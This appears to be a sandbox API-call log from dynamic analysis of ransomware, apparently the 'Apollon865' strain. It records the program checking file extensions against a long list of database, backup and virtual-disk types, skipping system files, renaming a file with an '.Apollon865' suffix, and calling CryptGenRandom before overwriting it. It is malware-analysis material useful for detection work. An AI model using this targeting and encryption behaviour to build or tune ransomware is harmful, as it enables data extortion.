	[0059.208] lstrcmpiW (lpString1="htm", lpString2="ecx") returned 1
	[0059.208] lstrlenW (lpString="edb") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="edb") returned 1
	[0059.208] lstrlenW (lpString="epim") returned 4
	[0059.208] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1
	[0059.208] lstrlenW (lpString="fcd") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1
	[0059.208] lstrlenW (lpString="fdb") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1
	[0059.208] lstrlenW (lpString="fic") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1
	[0059.208] lstrlenW (lpString="flexolibrary") returned 12
	[0059.208] lstrcmpiW (lpString1="oft Blue.htm", lpString2="flexolibrary") returned 1
	[0059.208] lstrlenW (lpString="fm5") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1
	[0059.208] lstrlenW (lpString="fmp") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1
	[0059.208] lstrlenW (lpString="fmp12") returned 5
	[0059.208] lstrcmpiW (lpString1="e.htm", lpString2="fmp12") returned -1
	[0059.208] lstrlenW (lpString="fmpsl") returned 5
	[0059.208] lstrcmpiW (lpString1="e.htm", lpString2="fmpsl") returned -1
	[0059.208] lstrlenW (lpString="fol") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1
	[0059.208] lstrlenW (lpString="fp3") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1
	[0059.208] lstrlenW (lpString="fp4") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1
	[0059.208] lstrlenW (lpString="fp5") returned 3
	[0059.208] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1
	[0059.209] lstrlenW (lpString="fp7") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1
	[0059.209] lstrlenW (lpString="fpt") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1
	[0059.209] lstrlenW (lpString="frm") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1
	[0059.209] lstrlenW (lpString="gdb") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.209] lstrlenW (lpString="gdb") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1
	[0059.209] lstrlenW (lpString="grdb") returned 4
	[0059.209] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1
	[0059.209] lstrlenW (lpString="gwi") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1
	[0059.209] lstrlenW (lpString="hdb") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1
	[0059.209] lstrlenW (lpString="his") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="his") returned 1
	[0059.209] lstrlenW (lpString="ib") returned 2
	[0059.209] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1
	[0059.209] lstrlenW (lpString="idb") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1
	[0059.209] lstrlenW (lpString="ihx") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1
	[0059.209] lstrlenW (lpString="itdb") returned 4
	[0059.209] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1
	[0059.209] lstrlenW (lpString="itw") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1
	[0059.209] lstrlenW (lpString="jet") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1
	[0059.209] lstrlenW (lpString="jtx") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1
	[0059.209] lstrlenW (lpString="kdb") returned 3
	[0059.209] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1
	[0059.210] lstrlenW (lpString="kexi") returned 4
	[0059.210] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1
	[0059.210] lstrlenW (lpString="kexic") returned 5
	[0059.210] lstrcmpiW (lpString1="e.htm", lpString2="kexic") returned -1
	[0059.210] lstrlenW (lpString="kexis") returned 5
	[0059.210] lstrcmpiW (lpString1="e.htm", lpString2="kexis") returned -1
	[0059.210] lstrlenW (lpString="lgc") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1
	[0059.210] lstrlenW (lpString="lwx") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1
	[0059.210] lstrlenW (lpString="maf") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1
	[0059.210] lstrlenW (lpString="maq") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1
	[0059.210] lstrlenW (lpString="mar") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1
	[0059.210] lstrlenW (lpString="marshal") returned 7
	[0059.210] lstrcmpiW (lpString1="lue.htm", lpString2="marshal") returned -1
	[0059.210] lstrlenW (lpString="mas") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1
	[0059.210] lstrlenW (lpString="mav") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1
	[0059.210] lstrlenW (lpString="maw") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1
	[0059.210] lstrlenW (lpString="mdbhtml") returned 7
	[0059.210] lstrcmpiW (lpString1="lue.htm", lpString2="mdbhtml") returned -1
	[0059.210] lstrlenW (lpString="mdn") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1
	[0059.210] lstrlenW (lpString="mdt") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1
	[0059.210] lstrlenW (lpString="mfd") returned 3
	[0059.210] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1
	[0059.210] lstrlenW (lpString="mpd") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1
	[0059.211] lstrlenW (lpString="mrg") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1
	[0059.211] lstrlenW (lpString="mud") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1
	[0059.211] lstrlenW (lpString="mwb") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1
	[0059.211] lstrlenW (lpString="myd") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1
	[0059.211] lstrlenW (lpString="ndf") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1
	[0059.211] lstrlenW (lpString="nnt") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1
	[0059.211] lstrlenW (lpString="nrmlib") returned 6
	[0059.211] lstrcmpiW (lpString1="ue.htm", lpString2="nrmlib") returned 1
	[0059.211] lstrlenW (lpString="ns2") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1
	[0059.211] lstrlenW (lpString="ns3") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1
	[0059.211] lstrlenW (lpString="ns4") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1
	[0059.211] lstrlenW (lpString="nsf") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1
	[0059.211] lstrlenW (lpString="nv") returned 2
	[0059.211] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1
	[0059.211] lstrlenW (lpString="nv2") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1
	[0059.211] lstrlenW (lpString="nwdb") returned 4
	[0059.211] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1
	[0059.211] lstrlenW (lpString="nyf") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1
	[0059.211] lstrlenW (lpString="odb") returned 3
	[0059.211] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.211] lstrlenW (lpString="odb") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1
	[0059.212] lstrlenW (lpString="oqy") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1
	[0059.212] lstrlenW (lpString="ora") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1
	[0059.212] lstrlenW (lpString="orx") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1
	[0059.212] lstrlenW (lpString="owc") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1
	[0059.212] lstrlenW (lpString="p96") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1
	[0059.212] lstrlenW (lpString="p97") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1
	[0059.212] lstrlenW (lpString="pan") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1
	[0059.212] lstrlenW (lpString="pdb") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1
	[0059.212] lstrlenW (lpString="pdm") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1
	[0059.212] lstrlenW (lpString="pnz") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1
	[0059.212] lstrlenW (lpString="qry") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1
	[0059.212] lstrlenW (lpString="qvd") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1
	[0059.212] lstrlenW (lpString="rbf") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1
	[0059.212] lstrlenW (lpString="rctd") returned 4
	[0059.212] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1
	[0059.212] lstrlenW (lpString="rod") returned 3
	[0059.212] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1
	[0059.212] lstrlenW (lpString="rodx") returned 4
	[0059.212] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1
	[0059.212] lstrlenW (lpString="rpd") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1
	[0059.213] lstrlenW (lpString="rsd") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1
	[0059.213] lstrlenW (lpString="sas7bdat") returned 8
	[0059.213] lstrcmpiW (lpString1="Blue.htm", lpString2="sas7bdat") returned -1
	[0059.213] lstrlenW (lpString="sbf") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1
	[0059.213] lstrlenW (lpString="scx") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1
	[0059.213] lstrlenW (lpString="sdb") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1
	[0059.213] lstrlenW (lpString="sdc") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1
	[0059.213] lstrlenW (lpString="sdf") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1
	[0059.213] lstrlenW (lpString="sis") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1
	[0059.213] lstrlenW (lpString="spq") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1
	[0059.213] lstrlenW (lpString="te") returned 2
	[0059.213] lstrcmpiW (lpString1="tm", lpString2="te") returned 1
	[0059.213] lstrlenW (lpString="teacher") returned 7
	[0059.213] lstrcmpiW (lpString1="lue.htm", lpString2="teacher") returned -1
	[0059.213] lstrlenW (lpString="tmd") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1
	[0059.213] lstrlenW (lpString="tps") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1
	[0059.213] lstrlenW (lpString="trc") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.213] lstrlenW (lpString="trc") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1
	[0059.213] lstrlenW (lpString="trm") returned 3
	[0059.213] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1
	[0059.213] lstrlenW (lpString="udb") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1
	[0059.214] lstrlenW (lpString="udl") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1
	[0059.214] lstrlenW (lpString="usr") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1
	[0059.214] lstrlenW (lpString="v12") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1
	[0059.214] lstrlenW (lpString="vis") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1
	[0059.214] lstrlenW (lpString="vpd") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1
	[0059.214] lstrlenW (lpString="vvv") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1
	[0059.214] lstrlenW (lpString="wdb") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1
	[0059.214] lstrlenW (lpString="wmdb") returned 4
	[0059.214] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1
	[0059.214] lstrlenW (lpString="wrk") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1
	[0059.214] lstrlenW (lpString="xdb") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1
	[0059.214] lstrlenW (lpString="xld") returned 3
	[0059.214] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1
	[0059.214] lstrlenW (lpString="xmlff") returned 5
	[0059.214] lstrcmpiW (lpString1="e.htm", lpString2="xmlff") returned -1
	[0059.214] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.Apollon865") returned 89
	[0059.214] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.apollon865"), dwFlags=0x1) returned 1
	[0059.215] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm.Apollon865" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\soft blue.htm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0059.215] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=232) returned 1
	[0059.215] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0059.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0059.216] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0059.216] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0059.217] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0059.217] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.217] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3f0, lpName=0x0) returned 0x14c
	[0059.219] MapViewOfFile (hFileMappingObject=0x14c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3f0) returned 0x100000
	[0059.220] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0059.220] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0059.221] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0059.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0059.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0059.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0059.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0059.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0059.221] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0059.221] CloseHandle (hObject=0x14c) returned 1
	[0059.221] CloseHandle (hObject=0x150) returned 1
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0059.221] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0059.222] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64e9680, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64e9680, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xaa5b3841, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2949, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SoftBlue.jpg", cAlternateFileName="")) returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="..") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="windows") returned -1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="bootmgr") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="temp") returned -1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="pagefile.sys") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="boot") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ids.txt") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="ntuser.dat") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="perflogs") returned 1
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2="MSBuild") returned 1
	[0059.222] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0059.222] lstrlenW (lpString="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Soft Blue.htm") returned 78
	[0059.222] lstrcpyW (in: lpString1=0x119e68a, lpString2="SoftBlue.jpg" | out: lpString1="SoftBlue.jpg") returned="SoftBlue.jpg"
	[0059.222] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0059.222] lstrlenW (lpString="Apollon865") returned 10
	[0059.222] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="Apollon865") returned 1
	[0059.222] lstrlenW (lpString=".dll") returned 4
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".dll") returned 1
	[0059.222] lstrlenW (lpString=".lnk") returned 4
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".lnk") returned 1
	[0059.222] lstrlenW (lpString=".ini") returned 4
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".ini") returned 1
	[0059.222] lstrlenW (lpString=".sys") returned 4
	[0059.222] lstrcmpiW (lpString1="SoftBlue.jpg", lpString2=".sys") returned 1
	[0059.223] lstrlenW (lpString="SoftBlue.jpg") returned 12
	[0059.223] lstrlenW (lpString="bak") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="bak") returned 1
	[0059.223] lstrlenW (lpString="ba_") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="ba_") returned 1
	[0059.223] lstrlenW (lpString="dbb") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="dbb") returned 1
	[0059.223] lstrlenW (lpString="vmdk") returned 4
	[0059.223] lstrcmpiW (lpString1=".jpg", lpString2="vmdk") returned -1
	[0059.223] lstrlenW (lpString="rar") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="rar") returned -1
	[0059.223] lstrlenW (lpString="zip") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="zip") returned -1
	[0059.223] lstrlenW (lpString="tgz") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="tgz") returned -1
	[0059.223] lstrlenW (lpString="vbox") returned 4
	[0059.223] lstrcmpiW (lpString1=".jpg", lpString2="vbox") returned -1
	[0059.223] lstrlenW (lpString="vdi") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="vdi") returned -1
	[0059.223] lstrlenW (lpString="vhd") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="vhd") returned -1
	[0059.223] lstrlenW (lpString="vhdx") returned 4
	[0059.223] lstrcmpiW (lpString1=".jpg", lpString2="vhdx") returned -1
	[0059.223] lstrlenW (lpString="avhd") returned 4
	[0059.223] lstrcmpiW (lpString1=".jpg", lpString2="avhd") returned -1
	[0059.223] lstrlenW (lpString="db") returned 2
	[0059.223] lstrcmpiW (lpString1="pg", lpString2="db") returned 1
	[0059.223] lstrlenW (lpString="db2") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="db2") returned 1
	[0059.223] lstrlenW (lpString="db3") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="db3") returned 1
	[0059.223] lstrlenW (lpString="dbf") returned 3
	[0059.223] lstrcmpiW (lpString1="jpg", lpString2="dbf") returned 1
	[0059.224] lstrlenW (lpString="mdf") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="mdf") returned -1
	[0059.224] lstrlenW (lpString="mdb") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="mdb") returned -1
	[0059.224] lstrlenW (lpString="sql") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="sql") returned -1
	[0059.224] lstrlenW (lpString="sqlite") returned 6
	[0059.224] lstrcmpiW (lpString1="ue.jpg", lpString2="sqlite") returned 1
	[0059.224] lstrlenW (lpString="sqlite3") returned 7
	[0059.224] lstrcmpiW (lpString1="lue.jpg", lpString2="sqlite3") returned -1
	[0059.224] lstrlenW (lpString="sqlitedb") returned 8
	[0059.224] lstrcmpiW (lpString1="Blue.jpg", lpString2="sqlitedb") returned -1
	[0059.224] lstrlenW (lpString="xml") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="xml") returned -1
	[0059.224] lstrlenW (lpString="$er") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="$er") returned 1
	[0059.224] lstrlenW (lpString="4dd") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="4dd") returned 1
	[0059.224] lstrlenW (lpString="4dl") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="4dl") returned 1
	[0059.224] lstrlenW (lpString="^^^") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="^^^") returned 1
	[0059.224] lstrlenW (lpString="abs") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="abs") returned 1
	[0059.224] lstrlenW (lpString="abx") returned 3
	[0059.224] lstrcmpiW (lpString1="jpg", lpString2="abx") returned 1
	[0059.224] lstrlenW (lpString="accdb") returned 5
	[0059.224] lstrcmpiW (lpString1="e.jpg", lpString2="accdb") returned 1
	[0059.224] lstrlenW (lpString="accdc") returned 5
	[0059.224] lstrcmpiW (lpString1="e.jpg", lpString2="accdc") returned 1
	[0059.224] lstrlenW (lpString="accde") returned 5
	[0059.224] lstrcmpiW (lpString1="e.jpg", lpString2="accde") returned 1
	[0059.224] lstrlenW (lpString="accdr") returned 5
	[0059.224] lstrcmpiW (lpString1="e.jpg", lpString2="accdr") returned 1
	[0059.225] lstrlenW (lpString="accdt") returned 5
	[0059.225] lstrcmpiW (lpString1="e.jpg", lpString2="accdt") returned 1
	[0059.225] lstrlenW (lpString="accdw") returned 5
	[0059.225] lstrcmpiW (lpString1="e.jpg", lpString2="accdw") returned 1
	[0059.225] lstrlenW (lpString="accft") returned 5
	[0059.225] lstrcmpiW (lpString1="e.jpg", lpString2="accft") returned 1
	[0059.225] lstrlenW (lpString="adb") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.225] lstrlenW (lpString="adb") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="adb") returned 1
	[0059.225] lstrlenW (lpString="ade") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="ade") returned 1
	[0059.225] lstrlenW (lpString="adf") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="adf") returned 1
	[0059.225] lstrlenW (lpString="adn") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="adn") returned 1
	[0059.225] lstrlenW (lpString="adp") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="adp") returned 1
	[0059.225] lstrlenW (lpString="alf") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="alf") returned 1
	[0059.225] lstrlenW (lpString="ask") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="ask") returned 1
	[0059.225] lstrlenW (lpString="btr") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="btr") returned 1
	[0059.225] lstrlenW (lpString="cat") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="cat") returned 1
	[0059.225] lstrlenW (lpString="cdb") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="cdb") returned 1
	[0059.225] lstrlenW (lpString="ckp") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="ckp") returned 1
	[0059.225] lstrlenW (lpString="cma") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="cma") returned 1
	[0059.225] lstrlenW (lpString="cpd") returned 3
	[0059.225] lstrcmpiW (lpString1="jpg", lpString2="cpd") returned 1
	[0059.226] lstrlenW (lpString="dacpac") returned 6
	[0059.226] lstrcmpiW (lpString1="ue.jpg", lpString2="dacpac") returned 1
	[0059.226] lstrlenW (lpString="dad") returned 3
	[0059.226] lstrcmpiW (lpString1="jpg", lpString2="dad") returned 1
	[0059.226] lstrlenW (lpString="dadiagrams") returned 10
	[0059.226] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="dadiagrams") returned 1
	[0059.226] lstrlenW (lpString="daschema") returned 8
	[0059.226] lstrcmpiW (lpString1="Blue.jpg", lpString2="daschema") returned -1
	[0059.226] lstrlenW (lpString="db-journal") returned 10
	[0059.226] lstrcmpiW (lpString1="ftBlue.jpg", lpString2="db-journal") returned 1
	[0059.226] lstrlenW (lpString="db-shm") returned 6
	[0059.226] lstrcmpiW (lpString1="ue.jpg", lpString2="db-shm") returned 1
	[0059.226] lstrlenW (lpString="db-wal") returned 6
	[0059.226] lstrcmpiW (lpString1="ue.jpg", lpString2="db-wal") returned 1
	[0059.226] lstrlenW (lpString="dbc") returned 3
